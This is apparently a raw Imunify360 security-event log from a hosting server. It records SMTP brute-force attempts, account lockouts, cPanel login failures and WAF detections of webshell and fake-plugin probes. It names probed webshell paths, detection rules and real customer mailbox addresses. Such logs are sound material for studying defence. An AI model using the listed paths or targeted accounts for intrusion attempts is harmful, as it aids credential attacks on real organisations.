2026-02-01 00:03:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57211: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 80.124.54.14
country_id: 3017382
domain: lvconsult.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/include.php||WPU:||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:03:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:03:01 dovecot_login authenticator failed for H=(zOMm3g) [158.94.208.215]:61607: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:03:09 dovecot_login authenticator failed for H=(M5trprsZJe) [178.16.54.138]:51736: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/malaysia-infinity-design-projects/img/photos/contact.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:04:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-02-01 00:04:12 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:48539: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/images/home/awards.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:04:13 dovecot_login authenticator failed for H=(2MHpYe) [158.94.208.215]:65232: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:04:25 dovecot_login authenticator failed for H=(PGffve) [178.16.54.138]:49973: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-02-01 00:04:46 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:46300: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.50.77
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=841251 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:04:25 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51007: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.156.97.198
country_id: 337996
description:
2026-02-01 00:04:38 dovecot_login authenticator failed for H=([197.156.97.198]) [197.156.97.198]:36320: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 103.107.36.18
country_id: 1269750
description:
Feb  1 00:04:44 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(103.107.36.18)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:05:49 dovecot_login authenticator failed for H=(mOZlzm8) [158.94.208.215]:61047: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:05:01 dovecot_login authenticator failed for H=(Hjbtfb) [158.94.208.215]:54651: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.157
country_id: 6252001
description:
2026-02-01 00:05:16 dovecot_plain authenticator failed for H=([10.28.18.131]) [140.228.24.157]:52209: 535 Incorrect authentication data (set_id=akchan@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.75.218.103
country_id: 1269750
description:
2026-02-01 00:05:03 dovecot_login authenticator failed for H=([103.55.89.5]) [116.75.218.103]:56998: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:05:03 dovecot_login authenticator failed for H=(eTuLg8) [178.16.54.138]:50659: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 116.75.218.103
country_id: 1269750
description:
Feb  1 00:05:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(116.75.218.103)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-01 00:05:09 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:51371: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:05:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.78.152.240
country_id: 1861060
domain: stillman.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/stillman/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:06:18 dovecot_login authenticator failed for H=(79FKthw4yy) [178.16.54.138]:57899: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.180.58
country_id: 1835841
description:
2026-02-01 00:06:51 dovecot_login authenticator failed for H=([114.30.180.58]) [114.30.180.58]:36912: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.136
country_id: 1668284
description:
2026-02-01 00:06:36 dovecot_login authenticator failed for H=110-25-110-136.adsl.fetnet.net [110.25.110.136]:51550: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:06:13 dovecot_login authenticator failed for H=(dgF64fIHa) [158.94.208.215]:55329: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.152.240
country_id: 1861060
domain: stillman.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/class.php||SC:/home2/stillman/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.130.80
country_id: 1269750
description:
2026-02-01 00:06:43 dovecot_login authenticator failed for H=(80.130.83.103.static.rapidnet.in) [103.83.130.80]:46975: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:06:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:06:33 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58098: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:07:01 dovecot_login authenticator failed for H=(3k9VNilXF) [158.94.208.215]:57091: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:07:35 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54319: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-01 00:07:52 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:55843: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.87
country_id: 1269750
description:
2026-02-01 00:07:06 dovecot_login authenticator failed for H=(nsg-corporate-87.229.187.122.airtel.in) [122.187.229.87]:46988: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:07:33 dovecot_login authenticator failed for H=(mYetYUqW) [178.16.54.138]:60186: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:08:37 dovecot_login authenticator failed for H=(nJNdt8c) [158.94.208.215]:56394: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-02-01 00:08:45 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com [34.41.211.48]:41858: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:08:49 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:52818: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:08:10 dovecot_login authenticator failed for H=(pC0gxEe2) [178.16.54.138]:58904: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:08:13 dovecot_login authenticator failed for H=(OaoPmxL8dB) [158.94.208.215]:64931: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 00:09:56 dovecot_login authenticator failed for H=(2hDtnEwE) [69.5.189.21]:62454: 535 Incorrect authentication data (set_id=ratanam@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-01 00:09:01 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:35166: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:09:25 dovecot_login authenticator failed for H=(fTZhIx4rJS) [178.16.54.138]:61864: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
country_id: 6252001
description:
2026-02-01 00:09:39 dovecot_login authenticator failed for H=(syn-172-090-128-097.res.spectrum.com) [172.90.128.97]:63434: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:09:33 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63505: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.168.113.8
country_id: 3469034
description:
[2026-02-01 00:09:46 +0800] info [cpaneld] 45.168.113.8 - tujuseti "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tujuseti (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:09:01 dovecot_login authenticator failed for H=(QZcyWMLeLV) [158.94.208.215]:65116: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 00:09:25 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:58202: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.176.157.57
country_id: 6252001
description:
2026-02-01 00:10:32 dovecot_plain authenticator failed for H=c-73-176-157-57.hsd1.il.comcast.net (indindst) [73.176.157.57]:44860: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:10:02 dovecot_login authenticator failed for H=(eXUKvuSa) [178.16.54.138]:63070: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:10:15 dovecot_login authenticator failed for H=(X7borr) [158.94.208.215]:60270: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:10:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52465: 535 Incorrect authentication data (set_id=testing@box.wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 00:10:21 dovecot_login authenticator failed for H=(agnLeWXi) [69.5.189.21]:50307: 535 Incorrect authentication data (set_id=ratanam@maalloys.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:10:26 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-02-01 00:10:43 H=([64.89.160.15]) [64.89.160.15]:49710 F=<drdavid00r5@outlook.com> rejected RCPT <miya@hmz.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.50.217.196
country_id: 2623032
description:
[2026-02-01 00:10:27 +0800] info [webmaild] 149.50.217.196 - chew@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 00:11:48 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:41653: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:11:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63794: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:11:07 dovecot_login authenticator failed for H=(ER7a0hPeJ) [158.94.208.215]:57435: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-02-01 00:11:08 H=([64.89.160.15]) [64.89.160.15]:51156 F=<essenas@outlook.com> rejected RCPT <sales@cordage.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 00:11:47 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:53382: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:11:45 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60578: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:11:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.117
country_id: 1814991
description:
2026-02-01 00:11:15 dovecot_login authenticator failed for H=([111.61.175.117]) [111.61.175.117]:23596: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 00:11:15 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:36908: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:11:28 dovecot_login authenticator failed for H=(VLImkRDm) [178.16.54.138]:54829: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 00:11:32 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:58740: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 00:11:09 dovecot_login authenticator failed for H=(ExH510HHhc) [69.5.189.21]:58165: 535 Incorrect authentication data (set_id=ratanam)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.37.214
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=671968 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 00:12:40 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:50750: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:12:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:12:05 dovecot_login authenticator failed for H=(2h45yWdEtH) [158.94.208.215]:61411: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:12:06 dovecot_login authenticator failed for H=(Tiw9Ap4gFL) [178.16.54.138]:54540: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:13:11 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:54417: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 00:13:14 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:15820: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:13:20 dovecot_login authenticator failed for H=(BgaATchTD) [178.16.54.138]:61060: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:13:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:13:04 dovecot_login authenticator failed for H=(uL1HYTyLBf) [158.94.208.215]:52351: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:14:34 dovecot_login authenticator failed for H=(9Yvt2yal6) [178.16.54.138]:49384: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.80.238.162
country_id: 1814991
description:
2026-02-01 00:14:47 dovecot_login authenticator failed for H=([218.80.238.162]) [218.80.238.162]:44015: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:14:02 dovecot_login authenticator failed for H=(G1pu6fDmst) [158.94.208.215]:51380: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:14:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.135.26.113
country_id: 1522867
description:
2026-02-01 00:14:34 dovecot_login authenticator failed for H=2.135.26.113.dynamic.telecom.kz [2.135.26.113]:35685: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.39.128.127
country_id: 1814991
description:
2026-02-01 00:14:41 dovecot_login authenticator failed for H=([27.39.128.127]) [27.39.128.127]:37696: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:15:12 dovecot_login authenticator failed for H=(yqLKoTf) [178.16.54.138]:64222: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.178.221.182
country_id: 1210997
description:
2026-02-01 00:15:18 dovecot_login authenticator failed for H=([103.178.221.180]) [103.178.221.182]:47209: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-02-01 00:15:26 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:46210: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 00:15:31 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:46858: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.165
country_id: 1835841
description:
2026-02-01 00:15:51 dovecot_login authenticator failed for H=([121.142.146.165]) [121.142.146.165]:51311: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.147.23.57
country_id: 1814991
description:
2026-02-01 00:15:16 dovecot_login authenticator failed for H=([119.147.23.57]) [119.147.23.57]:52962: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:15:20 dovecot_login authenticator failed for H=(sAAx1D) [158.94.208.215]:51731: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:15:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.252.37.194
country_id: 3175395
description:
2026-02-01 00:15:24 dovecot_login authenticator failed for H=host-95-252-37-194.retail.telecomitalia.it [95.252.37.194]:44722: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-02-01 00:15:48 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:44326: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:16:01 dovecot_login authenticator failed for H=(DPjNmYKVsW) [158.94.208.215]:56221: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.249.227.58
country_id: 1814991
description:
2026-02-01 00:15:11 dovecot_login authenticator failed for H=([175.10.38.108]) [118.249.227.58]:48870: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-02-01 00:16:15 dovecot_login authenticator failed for H=([45.82.110.150]) [45.82.110.150]:54676: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-02-01 00:16:20 dovecot_login authenticator failed for H=([101.13.4.124]) [101.13.4.124]:36556: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:16:21 dovecot_login authenticator failed for H=(C6wpwS1) [158.94.208.215]:51623: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:16:12 dovecot_login authenticator failed for H=(SH60ZU) [178.16.54.138]:60769: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.242.190.187
country_id: 298795
description:
2026-02-01 00:16:57 dovecot_login authenticator failed for H=([178.242.190.187]) [178.242.190.187]:42396: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:16:21 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56730: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.123
country_id: 1269750
description:
2026-02-01 00:16:06 dovecot_login authenticator failed for H=([122.187.230.123]) [122.187.230.123]:38705: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 00:17:27 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:49946: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:17:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54391: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:17:27 dovecot_login authenticator failed for H=(XNJB80l4j) [178.16.54.138]:53229: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:17:02 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:61175: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:17:04 dovecot_login authenticator failed for H=(bf6pOq0p) [158.94.208.215]:52994: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
